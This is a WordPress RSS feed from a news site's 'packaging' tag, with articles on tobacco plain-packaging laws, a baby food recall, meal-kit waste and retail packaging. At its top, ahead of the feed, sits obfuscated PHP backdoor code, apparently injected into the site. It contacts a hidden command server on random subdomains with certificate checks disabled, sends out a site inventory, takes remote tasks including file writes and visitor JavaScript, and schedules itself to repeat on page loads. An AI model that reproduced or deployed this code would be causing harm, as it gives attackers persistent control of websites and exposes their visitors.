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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); packaging – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 07 Sep 2018 09:56:25 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png packaging – Brief News https://briefnews.eu 32 32 Australia wins landmark tobacco packaging ruling at World Trade Organization https://briefnews.eu/australia-wins-landmark-tobacco-packaging-ruling-at-world-trade-organization/ https://briefnews.eu/australia-wins-landmark-tobacco-packaging-ruling-at-world-trade-organization/#respond Thu, 28 Jun 2018 16:44:50 +0000 http://briefnews.eu/australia-wins-landmark-tobacco-packaging-ruling-at-world-trade-organization/ Australia Tobacco

Australia won a clear victory in a major trade dispute over its pioneering tobacco packaging law.

]]> https://briefnews.eu/australia-wins-landmark-tobacco-packaging-ruling-at-world-trade-organization/feed/ 0 Packaging defect triggers recall of organic baby food pouches https://briefnews.eu/packaging-defect-triggers-recall-of-organic-baby-food-pouches/ https://briefnews.eu/packaging-defect-triggers-recall-of-organic-baby-food-pouches/#respond Mon, 28 May 2018 14:09:52 +0000 http://briefnews.eu/packaging-defect-triggers-recall-of-organic-baby-food-pouches/ PC Organics Love Child baby food recall

The pouches are sold under the PC Organics and Love Child Organics brands.

]]> https://briefnews.eu/packaging-defect-triggers-recall-of-organic-baby-food-pouches/feed/ 0 Parliament passes plain tobacco packaging law, regulates vaping https://briefnews.eu/parliament-passes-plain-tobacco-packaging-law-regulates-vaping/ https://briefnews.eu/parliament-passes-plain-tobacco-packaging-law-regulates-vaping/#respond Wed, 16 May 2018 10:30:22 +0000 http://briefnews.eu/parliament-passes-plain-tobacco-packaging-law-regulates-vaping/ Tobacco Packages 20160530

The Liberal government has passed a sweeping overhaul of the country’s tobacco laws — legislation that will formally legalize (and heavily regulate) vaping and give Health Canada the powers it needs to mandate plain packaging for cigarettes.

The bill, S-5, is one of the most ambitious overhauls of the Tobacco Act in a generation. It enacts changes that have prompted vocal opposition from the country’s largest tobacco companies — and their allies, like convenience store owners — who are steadfastly opposed to measures that will force them to remove their brands from cigarette and other tobacco packages.

The bill doesn’t dictate exactly how plain packaging should be imposed, but a Health Canada backgrounder says the new Tobacco and Vaping Products Act will “provide … a range of options such as standardized colour, font and finish, and prohibitions on promotional information and brand elements, such as logos.”

A spokesperson for Health Canada did not say exactly when the new regulations would land, but added such regulations typically come into force 180 days after they are finalized by the department.

The bill’s defenders have said these new regulations will make smoking less appealing by all but eliminating the uniqueness of particular brands, and help end an “epidemic” of tobacco-related deaths — which the government suggests number over 45,000 per year.

Under existing regulations, branding is already quite limited because health warnings cover roughly three quarters of a traditional cigarette pack.

What the bill does:

  • Gives Health Canada the power to implement plain and standardized tobacco packaging.
  • Applies many of the existing tobacco regulations to vaping products.
  • Prohibits the sale of vaping products to minors.
  • Restricts “lifestyle” advertising for vaping products, the use of testimonials, or any reference to e-cigarettes as healthier than standard tobacco products.
  • Bans certain flavours — like “confectionery” and cannabis — for vaping products.

Critics argue the new rules will simply bolster an already flourishing market for cheaper contraband cigarettes, and often cite the mixed (and contested) results of Australia’s move to enact plain packaging.

“The real reason that people start smoking is not because of the pack. There is no evidence of that in every piece of research that Health Canada has cited,” Eric Gagnon, the director of government relations at Imperial Tobacco Canada, said in an interview with CBC News.

“The people who start smoking do not see a package today and say, ‘Well, this package has red on it. I think I’m going to start smoking.’ That’s not the way it works … It’s more of a PR initiative than anything else.”

The packages on the left are what cigarette packs used to look like in Australia before a plain packaging law was passed. The new plain packages are shown on the right. Canadian lawmakers hope to emulate, at least in part, the cigarette packaging strategy pursued by Australia. (David Hammond/University of Waterloo)

But Rob Cunningham, a policy analyst at the Canadian Cancer Society, said he thinks the tobacco industry is upset by plain packaging for a good reason.

“Of course plain packaging would be effective. Why else would the tobacco industry be so opposed?” he said.

“The package is the most important type of tobacco advertising that remains in Canada today. Tobacco is addictive and lethal, and should not be sold in packages made to be more attractive, period.”

Gagnon said Imperial Tobacco, which produces popular brands like du Maurier, Pall Mall, Peter Jackson and Player’s, is considering legal action to protect its intellectual property rights if Health Canada proceeds with “extreme” regulations.

“It’s too early to say because we haven’t seen the regulations, but it is one of the avenues we’ll have to look into if we believe the government is going too far,” he said. “It’s not off the table.”

Plain packaging rules are already in place, with some variations, in Australia, France, the United Kingdom and Ireland. A legal challenge by tobacco firms in the U.K. was rebuffed by that country’s highest court.

A sample of plain packages used in the United Kingdom. (Action on Smoking and Health UK)

‘Less harmful source of nicotine’

The Liberal government has pitched the other major component of the bill — new regulations for vaping devices — as a tool to move adult smokers away from traditional cigarettes, while giving them access to the nicotine they crave.

“Bill S-5 will also provide adults the legal access to better-regulated vaping products. These products can serve as a less harmful alternative to cigarettes and can be a much-needed option for those who have been unable to quit smoking,” Peter Harder, the government’s representative in Senate, said in a recent speech on the bill.

Independent Quebec Sen. Chantal Petitclerc, the bill’s sponsor in the upper house, called regulated vaping “an important tool” for ensuring “a less harmful source of nicotine” as the government looks to cut the percentage of the population that smokes from the current 15 per cent to less than 5 per cent by 2035.

The vaping industry has been operating largely beyond the reach of regulators since e-cigarettes emerged as an alternative to smoking some ten years ago.

The e-cigarette — a battery-powered device that looks like a traditional cigarette — delivers inhaled doses of nicotine-containing vapour. Until now, vaping products have been sold under a lighter regulatory burden than the one imposed on cigarettes.

The bill, which is expected to receive royal assent shortly, demands compliance with the new vaping regulations within 180 days.

The proposed legislation would regulate e-cigarettes while allowing adults to access vaping products that are likely less harmful alternatives to tobacco use, Health Canada says. (Frank Franklin II/Associated Press)

Those regulations include a move to cut the number of flavours that can be used in an e-cigarette, banning any flavour designed to mimic “confectionery,” cannabis, soft drinks or energy drinks — flavours some parliamentarians believe are designed to hook young people on these devices.

The bill also prohibits the sale of vaping products to minors, or sending a vaping product to a minor.

The bill restricts most promotional activity around vaping products, forbidding the use of testimonials and references to health effects and additives.

Anti-smoking advocates maintain these regulations are necessary because any reference to an e-cigarette as safer than the traditional variety could be misleading. While vaping devices are often sold as smoking cessation aides, critics maintain they’re not entirely harm-free.

However, a recent review by tobacco experts at Public Health England found that e-cigarettes are considerably less harmful than traditional cigarettes.

“Anyone who has struggled to quit should try switching to an e-cigarette and get professional help,” the government agency recommended in its February 2018 report.

READ MORE: Vaping for Beginners: Learn How to Vape Like a Pro With Our Vaping Guide

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The federal government today released the results of its public consultation on the legalization of pot and revealed its proposals for how the product will be packaged and regulated.

]]> https://briefnews.eu/health-canada-proposes-strict-limits-on-marijuana-packaging-production/feed/ 0 Meal Kits Have a Packaging Problem https://briefnews.eu/meal-kits-have-a-packaging-problem/ https://briefnews.eu/meal-kits-have-a-packaging-problem/#respond Thu, 28 Dec 2017 21:08:27 +0000 http://briefnews.eu/meal-kits-have-a-packaging-problem/ Ready-to-cook meal kits are the epitome of internet-fueled instant gratification. But the recipe still needs tweaking.


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]]> https://briefnews.eu/meal-kits-have-a-packaging-problem/feed/ 0 The Secrets That Product Packaging Reveals About Retail https://briefnews.eu/the-secrets-that-product-packaging-reveals-about-retail/ https://briefnews.eu/the-secrets-that-product-packaging-reveals-about-retail/#respond Wed, 06 Dec 2017 18:30:16 +0000 http://briefnews.eu/the-secrets-that-product-packaging-reveals-about-retail/ In the mid-to-late 1800s, shoppers interested in purchasing many everyday products—from flour to crackers to pickles—usually had to ask store attendants to fish what they wanted out of a barrel for them. Customers would then transport their goods home in a cloth sack, a paper bag, or wrapped in paper.

Shortly after the turn of the century, the burgeoning field of marketing brought consumer products out of barrels and into individual jars, cans, tubes, and other containers emblazoned with corporate iconography. “Branding really led the way towards packaging that looks the same in Des Moines as it did in New York City,” says Sean Riley, a spokesperson for the trade group PMMI, which used to stand for the Packaging Machinery Manufacturers Institute.

Today, as people buy more and more products online, product packaging is again changing, in a way that reflects the differences between digital and physical retail: Anything bought online needs to be able to withstand being shipped individually, often necessitating extra plastic coverings. And on the internet, it’s images of products themselves, not their packaging, that usually show up in search results, which makes the visual appeal of any box or label a lesser concern than it once was.

Lisa Pierce is watching developments like these closely. She is the editor of Packaging Digest, a trade publication, and has been covering product packaging for about 35 years. She says her magazine’s purview is the packaging of “basically any product you can buy in a store.”

I recently talked to Pierce for “Tricks of the Trade,” a series of interviews with the editors of trade publications, and asked her about how online retail is changing product packaging, as well as how much packaging is too much and how she’s seen the industry change over three and a half decades. The conversation that follows has been edited for length and clarity.

Joe Pinsker: When you walk into a store, what do you notice that you think most people wouldn’t?

Lisa Pierce: There are a couple things. The first is when there’s a new packaging format for a product. I can look at a package on a shelf and pretty much guess how it was packaged. Sometimes that’s where the innovation is: on the production-machinery side of things, not necessarily on the physical-package side of things. For example, dairy beverages are typically sold in the refrigerator section because they’re dairy-based, right? But one company came out with a dairy-based beverage that was shelf-stable, meaning that it did not need refrigeration. Consumers expected dairy to be in the cold section, so they still put it there, but they were able to save immensely on the nonrefrigerated distribution, the shipping of it, because it didn’t need to stay cold.

The other thing I’m a little bit more aware of than some consumers is whether packaging is necessary or excessive. A lot of consumers, they just see layer upon layer of packaging without realizing the reasons behind it. There’s usually always a reason why a product is packaged the way it’s packaged. Sometimes it’s not necessarily a good reason, but there’s always a reason.

Take a skin-care product. I’m the right demographic for anti-aging skin-care products—that’s the polite way of putting it. And the majority of them, especially the higher-end products, are usually in a jar or a bottle, and then that is placed into a carton, and that’s how it’s sold. Do we really need the carton? Well, there are a couple of reasons why we really might need that carton: to communicate information a customer would want about the product, to contain an anti-theft tag, to cushion the jar during shipment. Also, when you’re looking at something on a shelf, if it’s round, you’re only seeing a portion of the front, whereas if it’s a square carton, you’re seeing the entire front panel. That has better merchandising—they call it “billboarding.” So overall, you need the carton, but a lot of consumers, they’ll open the carton, take out the jar, and think to themselves, as they’re throwing away the carton, “Why did they do that? All I’m doing is throwing it away.” But there are all those other considerations.

Pinsker: I get what you’re saying, but at the same time, I can think back to a time when I ordered a book online, and it came in this box that was three times the size of the book, and it also had all these packets of sealed air. Am I misunderstanding what the considerations are there, or is that an example of truly superfluous packaging?

Pierce: Well, in that particular instance, that definitely is over-packaging. However, there are things that have happened that will make that a problem of the past. In shipping, there’s something called dimensional weight, also known as “dim weight,” and it is a new pricing standard by UPS, FedEx, and the United States Postal Service, where they measure the size of the package, as well as its weight, to determine how much it’s going to cost to ship—packages that are big are going to cost more. So it’s to the benefit of everyone involved for the packages to be just the right size.

Pinsker: You’ve been following the industry for several decades. What are the most striking differences in how products are packaged between when you started and what you see now?

Pierce: Mostly how the variety and creativity of packaging has changed. We’ve had a lot of new types of packaging come up. Tuna in a pouch was a huge disrupter: You didn’t need a can opener and you didn’t need a spoon, really. With a pouch, you just tear it open and shake the product out. It was portable—you could take it to work with you and open it at your desk.

That was a major one that even the consumer would notice, but there are other ones that are a lot more subtle. In the ‘90s, we saw single-serve plastic bottles of milk, instead of those little cartons that nobody could ever open. That change really captured the on-the-go portability needs of consumers, which wasn’t just about food. Now there are these little nubby things that go on your finger, and you can “brush” your teeth on the go. That trend has continued—people want to be able to carry and consume products wherever, whenever. That’s a big change from when I started covering this. We’re just too busy these days.

Pinsker: Has packaging changed in response to online retail? I would guess that the needs are different when a product is sitting on a shelf, versus appearing in a set of search results. For instance, I just bought a pair of earbuds online, and I was looking at the earbuds themselves when I shopped, not the package they came in.

Pierce: Sure, so in e-commerce the design is not as important for the sale, but I would make the argument that it is still immensely important for the resale—getting a consumer to buy it not once, but twice or three times—because of the impression that the primary pack design has on the consumer when they receive it. But, I have to ask you, when you got those headphones at home, what was the packaging like?

Pinsker: They showed up in a little cardboard box that looked like it could have been on any sort of rack at an electronics store.

Pierce: Did that add to your experience? Or did it not matter to you at all? If you had just gotten the buds in a baggie, would you have been fine with that?

Pinsker: That is a really good question. It’s probably more a question for my subconscious brain than my conscious brain. But my conscious brain says I do not care, and that I would have happily taken whatever—as long as it arrives intact, I am happy with the thing that uses the fewest materials.

Pierce: Most people, I think, would be quite happy with no packaging, if they spent, like, $ 5.99 on a pair of earbuds. But if you were spending $ 35.99, I think you might feel like, “Wow, these are pretty cheesy for $ 35.99.”

Pinsker: So in a way, the packaging kind of becomes part of the product that you’re buying.

Pierce: Yes. Well, it becomes part of the experience.

Pinsker: What other ways has e-commerce influenced product packaging?

Pierce: I have to say, anytime we do an article and we have the word Amazon in the headline, the pageviews just go off the charts. Everybody wants to know, what does Amazon want in packaging?

So obviously Amazon is huge in e-commerce, and they’re being very active now in communicating some of these packaging needs and wants to their product vendors. One thing is the folks at Amazon admit that the aesthetics don’t matter as much when products are being sold online; the way one Amazon manager said it to me was, “Many of the fundamental design features for packaging in traditional retail are far less relevant online.” You know, nobody in the packaging industry wants to hear that the packaging is not important, because we don’t feel that way. But at times, it isn’t. And e-commerce could be one of those times.

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PLAIN cigarette packaging could lead to more than quarter of a million smokers giving up the habit, Cancer Research UK has said.

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]]> https://briefnews.eu/standardised-cigarette-packaging-could-increase-quit-attempts/feed/ 0 Waitrose customers notice error on its 'British' lamb hotpot packaging – can YOU spot it? https://briefnews.eu/waitrose-customers-notice-error-on-its-british-lamb-hotpot-packaging-can-you-spot-it/ https://briefnews.eu/waitrose-customers-notice-error-on-its-british-lamb-hotpot-packaging-can-you-spot-it/#respond Tue, 28 Feb 2017 21:50:31 +0000 http://briefnews.eu/waitrose-customers-notice-error-on-its-british-lamb-hotpot-packaging-can-you-spot-it/

Confused shoppers have taken to Twitter after noticing that the supermarket giant’s “British” lamb hotpot has actually been made with “New Zealand lamb”. 

One customer tweeted: “@waitrose just saw your British shepherds pie. Made with New Zealand lamb? So what makes it British?” 

Another shared a picture of the hotpot ready meal in a Waitress store, and commented: “Not often that Waitrose has a bad hair day (aka a ‘Trump Moment): this product is legal but just downright silly!” 

Waitrose explained to one customer: “British is the name of the range of meals denoting the origin of the recipe.”

But someone responded: “No, @waitrose, the wording clearly suggests the LAMB is British, and then tells us the lamb is from New Zealand. Very misleading.” 

Waitrose is now set to rename its “British” meals containing lamb as “Classic”. 

A spokesperson has said in a statement: “To ensure the provenance of the lamb in the meals is clearer (it has always been on back of pack) we have [already] stickers all packs on the front. 

“We are about to re-launch the range with the branding ‘Classic’, removing the large ‘British’ reference from the front of pack. 

“This was only ever supposed to denote the origin of the recipe but we understand why confusion has arisen.”

But for some customers, this isn’t enough. 

One person on Twitter exclaimed: “No – DON’T rebrand it ‘Classic’ – use BRITISH LAMB!” 

Someone else added: “Yes please use British lamb! It’s so unethical to use anything else.” 

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